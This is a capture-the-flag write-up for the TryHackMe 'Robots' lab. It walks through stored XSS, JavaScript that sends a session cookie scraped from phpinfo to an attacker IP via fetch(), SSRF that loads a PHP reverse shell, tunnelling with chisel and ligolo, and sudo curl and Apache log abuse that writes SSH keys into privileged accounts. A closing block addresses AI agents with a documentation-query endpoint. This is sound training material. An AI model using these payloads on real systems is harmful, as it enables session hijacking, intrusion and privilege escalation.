# Robots

{% embed url="<https://tryhackme.com/room/robots>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with an Nmap scan and find three open ports. On port `22` we have SSH and on port `80` and `9000` we have web servers. We get the `robots.txt` entries directly from the default script scan.

<figure><img src="/files/DYpKAVQ1uFCzvsaPYc47" alt=""><figcaption></figcaption></figure>

We have some interesting directories from the `robots.txt`:

```
/harming/humans
/ignoring/human/orders
/harm/to/self
```

We visit the index page of the site on port `80`, but only get a Forbidden.

<figure><img src="/files/R1R8tQ9Qi9MluWIo7drd" alt=""><figcaption></figcaption></figure>

On port `9000` we only have the Apache2 default page in front of us.

<figure><img src="/files/YHXarBwKcAQVatD9MC1c" alt=""><figcaption></figcaption></figure>

We visit the directories of the `robots txt`, but we only get a login page on the path `/harm/to/self`. For the others we also only get a Forbidden.

<figure><img src="/files/7K8J6BKzsA3G4nj207ch" alt=""><figcaption></figcaption></figure>

We visit the login page and see that it is a PHP page. Unfortunately, the login does not provide any feedback, for example to enumerate usernames.

<figure><img src="/files/C2dvzDNa53kbqHPIiRhi" alt=""><figcaption></figcaption></figure>

We use gobuster to look for other directories and PHP pages in `/harm/to/self`. Among other things, we have an `admin.php` page there. Which we cannot access without authorisation.

<figure><img src="/files/RUxF9Fun5u6l4rCoo4V4" alt=""><figcaption></figcaption></figure>

We continue and register a user. To do this, we enter a username and date of birth. We are informed that the initial password is the MD5 hash of the username concatenated with the day and month of the date of birth.&#x20;

If we had feedback when registering or logging in, we could certainly have enumerated usernames and passwords using FFuF. But this is not the case.

<figure><img src="/files/k4A7aAd0saMYTNo9A1jM" alt=""><figcaption></figcaption></figure>

We calculate our hash with CyberChef...

```
md5(username+ddmm)
```

```
md5(0xb0b0101)
```

<figure><img src="/files/A6PQs2V4tcCHEgWeqqdQ" alt=""><figcaption></figcaption></figure>

... log in ...

<figure><img src="/files/O2VBoYBvjpeTrjrqqkZb" alt=""><figcaption></figcaption></figure>

... And see the index page of `/harm/to/self`. Our username is reflected here, but we also see that there is probably an Admin user. At the top left we have a link called server info.

<figure><img src="/files/ji3g5h0jAlfeOLVgbQDB" alt=""><figcaption></figcaption></figure>

This link reveals the PHP info page. We'll explain how useful this can be for us in a moment.

<figure><img src="/files/v4IpoJCocgt8Y8tvlJ3h" alt=""><figcaption></figcaption></figure>

## Web Access As Admin

Since our username is reflected, we use a simple XSS payload as the username. We register a user with the following username, log in and receive our alert.

```
<script>alert("hi");</script>
```

<figure><img src="/files/aNqBTDQ1bjHq58uKZvIF" alt=""><figcaption></figcaption></figure>

So if the admin also interacts with the page and would also see a list of usernames, we could steal the admin cookie. This would allow us to enter the admin session and interact via `admin.php`, which we found in the gobuster scan.

Unfortunately, the `HttpOnly` flag is set. The `HttpOnly` flag prevents JavaScript from accessing the cookie, making it accessible only through HTTP requests to protect against XSS attacks.

<figure><img src="/files/7YrVpJzF2YJuVm9F6mmQ" alt=""><figcaption></figcaption></figure>

But we have different access to the cookie, as the following article shows us and as already mentioned the PHP info page could become important for us.

{% embed url="<https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it>" %}

We can steal the cookie from the PHP info page.

<figure><img src="/files/4LCVIDowVkSuh3G0AiQV" alt=""><figcaption></figcaption></figure>

We use the following script from Hacktricks for this. And provide it with a web server from us.

{% embed url="<https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html?highlight=steal-page-content#steal-page-content>" %}

```
var url = "http://robots.thm/harm/to/self/server_info.php";
var attacker = "http://10.14.90.235/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
}
xhr.open('GET', url, true);
xhr.send(null);
```

The username can then look like the following. If something does not work, we can simply adapt our script on our web server and reload the page after logging in to execute the adapted script again.

```
<script src="http://10.14.90.235/legit_user.js"></script>
```

We register the user...

<figure><img src="/files/SbvoCaqJniYLw20pIRfH" alt=""><figcaption></figcaption></figure>

... log in...

<figure><img src="/files/t07FZx3HlfRwZx7LIOMb" alt=""><figcaption></figcaption></figure>

... and are unable to retrieve the full page because the content is too large to fit into a URI.

<figure><img src="/files/ajhpSIlX2m7EBe5Q0iYg" alt=""><figcaption></figcaption></figure>

We adapt the script to only steal the cookie content...

```
var url = "http://robots.thm/harm/to/self/server_info.php";
var attacker = "http://10.14.90.235/exfil";
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var match = xhr.responseText.match(/PHPSESSID=([a-zA-Z0-9]+)/);
        if (match) {
            fetch(attacker + "?cookie=" + match[1]);
        }
    }
}

xhr.open('GET', url, true);
xhr.send(null);

```

... and reload the index page and have the admin cookie exfiltrated later.

<figure><img src="/files/XwMzSKKefIwdBq5JoKux" alt=""><figcaption></figcaption></figure>

We replace the cookie.

<figure><img src="/files/dkDlyNX7lKNQkeDVDc3Q" alt=""><figcaption></figcaption></figure>

Reload the index page again, and it seems like we are now `Admin`, since we can see all users created so far.

<figure><img src="/files/Dyakq9WRVam7qNRKEpC3" alt=""><figcaption></figcaption></figure>

## Shell As www-data (RCE via SSRF)

As `Admin`, we now access the `admin.php` and see that we can test for urls.

<figure><img src="/files/Pl2W5Szdv7wKrzXIOSnY" alt=""><figcaption></figcaption></figure>

We provide our webserver address...

```
http://10.14.90.235
```

And see a directory listing rendered.

<figure><img src="/files/vdNnZx8AQRGjsHzhNLGo" alt=""><figcaption></figcaption></figure>

We test, if we can inject PHP pages...

{% code title="whoami.php" overflow="wrap" lineNumbers="true" %}

```
<?php
system('whoami');
?>

```

{% endcode %}

<figure><img src="/files/z7jaDNch0GRSAT1lHJyq" alt=""><figcaption></figcaption></figure>

We provide the page the same as the other content with a simple http server using python.

```
python -m http.server 80
```

Next we access the `whoami.php` page on our server.

```
http://10.14.90.235/whoami.php
```

<figure><img src="/files/g4pNEd6LPCmcKGRhVN1S" alt=""><figcaption></figcaption></figure>

And see that our page gets resolved.

<figure><img src="/files/Z7odcIM1QEZu1huXBYeP" alt=""><figcaption></figcaption></figure>

Next, we provide a pentestmonkey PHP reverse shell and set up a listener.

<figure><img src="/files/fRBNg9NjDNMs6Q83LOdZ" alt=""><figcaption></figcaption></figure>

We then submit the URI to our pentestmonkey PHP page...

```
http://10.14.90.235/pentestmonkey.php
```

<figure><img src="/files/ZvJgQDQ8QPL6yuhuctyY" alt=""><figcaption></figcaption></figure>

... and get a connection back to our listener. Next, we upgrade our shell with the following resource.&#x20;

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

We are `www-data`.

<figure><img src="/files/a7DnvZ4MV8WvoT2hkZbr" alt=""><figcaption></figcaption></figure>

## Shell As rgiskard

As `www-data` we find the database credentials in the `config.php` of the webserver. Unfortunately, there is no database service running on the server itself and the availability of simple tools / binaries is limited.

<figure><img src="/files/c4L42V72QUu6hTqMj3lG" alt=""><figcaption></figcaption></figure>

### DB Access

In the root directory we find a `.dockerenv` file...

<figure><img src="/files/EGejN7lTprBjQGQ9UNc9" alt=""><figcaption></figcaption></figure>

The `/etc/hosts` with the entry for `robots.thm` also indicates that we are in a Docker container. Maybe we have more containers available on `172.18.0.0/24`. Perhaps including one on which the database is running.

<figure><img src="/files/V9IGdvpSyCeNf2cyKcBi" alt=""><figcaption></figcaption></figure>

### Ligolo-ng setup

{% hint style="info" %}
This is not necessary to solve the room, it can be jumped directly to Chisel setup, but to understand how you can use ligolo-ng to make a network available to you.
{% endhint %}

For the subsequent phases, we use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.

> **Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

First, we set up a TUN (network tunnel) interface called ligolo and configuring routes to forward traffic for specific IP ranges (`240.0.0.1`, `172.18.0.0/24`) through the tunnel.

```
                                                                                                                                                                                                   
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
[sudo] password for 0xb0b: 
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip link set ligolo up 
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip route add 240.0.0.1 dev ligolo
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip route add 172.18.0.0/24 dev ligolo

                                                
```

Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.

{% embed url="<https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3>" %}

On our attack machine, we start the proxy server.

```
./proxy -selfcert 
```

<figure><img src="/files/baF1QEJJsUwNgQ8avB8a" alt=""><figcaption></figcaption></figure>

Next, we run the agent on the target machine to connect to our proxy.

```
./agent -connect 10.14.90.235:11601 --ignore-cert
```

<figure><img src="/files/C5nT7onzELv1tLnZBq6y" alt=""><figcaption></figcaption></figure>

We get a message on our ligolo-ng proxy that an agent has joined. We use `session` to select the session and then start it.

<figure><img src="/files/ntILXdnEM5nE8a5MOHB9" alt=""><figcaption></figcaption></figure>

Now we are able to scan `172.18.0.0/24` using nmap. We see that we have `172.18.0.1`, `172.18.0.2`, and `172.18.0.3` reachable. The MySQL server is running on `172.18.0.2`.

<figure><img src="/files/eFKztLzUmHLaJJskrDSb" alt=""><figcaption></figcaption></figure>

We try to log in to the web server with the credentials, but are unsuccessful. The relay using ligolo-ng does not seem to work properly.

```
mysql -h 172.18.0.2 -u robots -p
```

<figure><img src="/files/K3OJiZJnKg7GGVl5uaGd" alt=""><figcaption></figcaption></figure>

### Chisel setup

We used ligolo-ng to make the Docker network available and found out that the MySQL server is running on `172.18.0.2`. Since the MySQL client cannot connect properly using ligolo-ng, we use Chisel.

{% embed url="<https://github.com/jpillora/chisel>" %}

We setup the chisel server on our attacker machine.

```
./chisel server --reverse --port 51234
```

<figure><img src="/files/g3E3iCPebQo02b23dAad" alt=""><figcaption></figcaption></figure>

Download chisel on the target machine, make the binary executable and execute the chisel client to set up a reverse port forwarding tunnel, forwarding remote port **3306** on the target (at **172.18.0.2**) to local port **3306** on the Chisel server (at **10.14.90.235**) via the client.

```
./chisel client 10.14.90.235:51234 R:3306:172.18.0.2:3306
```

<figure><img src="/files/YCKNxGwIRZ7Bu9qQXwDd" alt=""><figcaption></figcaption></figure>

Now, we are able to ascess the MySQL server on 127.0.0.1 3306.&#x20;

```
mysql -h 127.0.0.1 -u robots -p
```

There is a web database, which hs a users table containing the usernames and password hashes. Among them we have the previously unknown user `rgiskard`. Perhaps we can reuse its password, for example for SSH access.

<figure><img src="/files/N2Z9DX226pECyWcGPLom" alt=""><figcaption></figcaption></figure>

We notice that our hash (our actual password for 0xb0b) does not match the database entry.

<figure><img src="/files/no3mrIh1MLRyEKqSf2dF" alt=""><figcaption></figcaption></figure>

The password entries are hashed.

<figure><img src="/files/CR8Jg3EW2hdVqkI5oQQ6" alt=""><figcaption></figcaption></figure>

### Reconstruct Credentials

Since we know how the initial passwords are composed \[`md5(username+ddmm)`], we can write a script that generates all passwords for us and compares their hashes with the one found. This way we get to the original string and the hash of the original string which is the password.

{% code title="rgiskard.py" overflow="wrap" lineNumbers="true" %}

```python
import hashlib
import sys

def find_matching_double_md5(username, target_hash):
    if not username:
        print("Username must be provided")
        return
    
    for day in range(1, 32):
        for month in range(1, 13):
            # Format day and month to ddmm
            ddmm = f"{day:02d}{month:02d}"
            # Concatenate username with ddmm
            combined_string = username + ddmm
            
            # First MD5 hash
            first_md5 = hashlib.md5(combined_string.encode()).hexdigest()
            
            # Second MD5 hash
            double_md5 = hashlib.md5(first_md5.encode()).hexdigest()
            
            if double_md5 == target_hash:
                print(f"\nMatch found:")
                print(f"Combined string: {combined_string}")
                print(f"First MD5: {first_md5}")
                print(f"Double MD5: {double_md5}")
                return

    print("No match found")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <username> <target_hash>")
        sys.exit(1)

    username = sys.argv[1]
    target_hash = sys.argv[2]
    find_matching_double_md5(username, target_hash)

```

{% endcode %}

We execute our script, provide username and found hash, and we got a hit.

<figure><img src="/files/IyZDarlA3kHLGejM4mZN" alt=""><figcaption></figcaption></figure>

We are able to log in via SSH as rigskard using the hash of the combined string. But we won't find the `user.txt` in the home directory of the user.

<figure><img src="/files/RHYjKhURoy6ILS6PA6Th" alt=""><figcaption></figcaption></figure>

## Shell As dolivaw

But we see that we are allowed to execute cURL as the user `dolivaw` using sudo with a wildcard.

<figure><img src="/files/LUit408mPHa45DBvQtSU" alt=""><figcaption></figcaption></figure>

Using cURL with wildcard allows us to write to a location as dolivaw. Like the following:

```
sudo -u dolivaw curl 127.0.0.1/ -o /tmb/b file:///tmp/test -o /home/dolivaw/test
```

&#x20;We could use this to write our own ssh key public key to authorized\_key file in `dolivaw`'s home directory. Allowing us to SSH as `dolivaw`, since we are in possesion of a freshly generated SSH private key.

We generate a private key at `/tmp`.

```
ssh-keygen -t rsa
```

<figure><img src="/files/JsCiw08SBUXrMeUuZMTq" alt=""><figcaption></figcaption></figure>

Next, we write the content of the public key in `/tmp/id_rsa.pub` to `/home/dolivaw/.ssh/authorized_keys`.

{% code overflow="wrap" %}

```markup
sudo -u dolivaw curl 127.0.0.1/ -o /tmb/b file:///tmp/id_rsa.pub -o /home/dolivaw/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="/files/RDh4O9JyKVAex5HPu4vo" alt=""><figcaption></figcaption></figure>

We then copy the key to our machine. Encoding helps a little...

<figure><img src="/files/w1bI6uThP34xwtfPz5v4" alt=""><figcaption></figcaption></figure>

```
cat b64_id_rsa| base64 -d > id_rsa
```

... and adjust the permission

```
chmod 600 id_rsa
```

<figure><img src="/files/QzX2qqE6St5rEhW0oB28" alt=""><figcaption></figcaption></figure>

We can now use the private key to log in as `dolivaw`. In the home directory of the user the first flag can be found.

<figure><img src="/files/6JiS4kpoDIzKb9GTO19v" alt=""><figcaption></figcaption></figure>

## Shell As root

As `dolivaw` we are allowed to execute `/usr/sbin/apache2` as `root` using `sudo` without the need of as password.

<figure><img src="/files/T51ZsoWOpzDmFSBAsTCU" alt=""><figcaption></figcaption></figure>

We still have the authorized\_keys entry of dolivaw we created.

<figure><img src="/files/oyIQe8UcOBkrFcd1xhyE" alt=""><figcaption></figcaption></figure>

So we could create an Apache config file, that is **abusing the logging feature** to write an **SSH public key** into `/root/.ssh/authorized_keys`.&#x20;

```
ServerRoot "/tmp/myapache"
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
Listen *:7777
ErrorLog /tmp/myapache/error.log
LogFormat "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQpADbqEsA4gRcdVcmF9DrXgdxcAF1wOez3eEwltOYs/D8pkc3qu+ERKYpC29SOXNcbWhAH7lu0A562nfcv9ZOXcPXvinr8Aekx54pLyYvzKMsSZx6vku1Q5e1Gp9OqFeQcm54h6s93Hpm/Kzq4xfQd/zqUF3Fb/eJFu/pJgYdutDsATpkAbJRYrFLeND4h6VKWQ/+uS/IDg2NATXvO2ngxZPuU250QYZgDzIOjuwtFpAPQ9ToaoexvWzJFDA03LeZOWloMGxwJSthNpq7uskrjSROSsEtXilyFUNYWMPryJPnjytc+P7mBUqL/twJFA6iOsvt55wA9+AS3wVC9gDZocuyz04+DslTNEWeX+WEbMfleko+VJBln05zbhjfNNi9Acs2jPA4IN00wqSWETdl7nsr/9jCe+CTNa+3wsdf/2FDk0U430rPT+xV3j28Xvl1hx0hQx1BYlsT7yNsNdesMGhGnMp6PDi1JlwsdDkYuF355DgCjR6F74KelgUQmFU= rgiskard@ubuntu-jammy" asdf
CustomLog /root/.ssh/authorized_keys asdf
```

<figure><img src="/files/v5CvGHVJrxFD3oPjaW6b" alt=""><figcaption></figcaption></figure>

After preparing the configuration file, we start the Apache server pointingg to our configuration.

* Apache starts using the specified config file (`-f /tmp/myapache/apache2.conf`).
* Since we’re running Apache as `root` using `sudo`, Apache will have **root-level permissions**.

```
sudo apache2 -f /tmp/myapache/apache2.conf -k start
```

* A request to localhost:7777 will trigger the logging mechanism.
* The `LogFormat` contains the SSH public key, so Apache will:
  1. Handle the request.
  2. Write the `LogFormat` content (the SSH key) to `/root/.ssh/authorized_keys`.
  3. Since Apache is running as `root`, it has write access to `/root/.ssh/authorized_keys`.

```
curl localhost:7777
```

<figure><img src="/files/kBKO6Do1SdGkufGednMK" alt=""><figcaption></figcaption></figure>

We reuse our private key to log in as `root` using SSH. The final flag can be found at `/root/root.txt`.

<figure><img src="/files/4XmGK67nAUgQpdgGxZKV" alt=""><figcaption></figcaption></figure>

## Recommendations

Don't miss the unintendes discovered by Jaxafed. Among them a file read with Include to read the final flag and RCE with CGI Scripts to gain a root shell.

#### File Read with Include by Jaxafed: <a href="#unintended-1-file-read-with-include" id="unintended-1-file-read-with-include"></a>

{% embed url="<https://jaxafed.github.io/posts/tryhackme-robots/#unintended-1-file-read-with-include>" %}

#### RCE with CGI Scripts by Jaxafed: <a href="#unintended-2-rce-with-cgi-scripts" id="unintended-2-rce-with-cgi-scripts"></a>

{% embed url="<https://jaxafed.github.io/posts/tryhackme-robots/#unintended-2-rce-with-cgi-scripts>" %}

#### Foothold without Cookie + Database leak without Portforwarding by AkewakBiru:

Furthermore, we have a wonderful writeup by AkewalBiru, who has gained foothold completly on the client side using Javascript without stealing the session cookie.&#x20;

And on top of that, AkewalBiru had leaked the database by executing PHP on the target without having to foward the ports. Great!

{% embed url="<https://github.com/AkewakBiru/THM-writeups/blob/main/Robots_v1.7/README.md>" %}

#### Use of Pipes in Apache Logging to gain a root shell by djalilayed: &#x20;

{% embed url="<https://youtu.be/ZAylF3vSzzQ?t=2298>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2025/robots.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
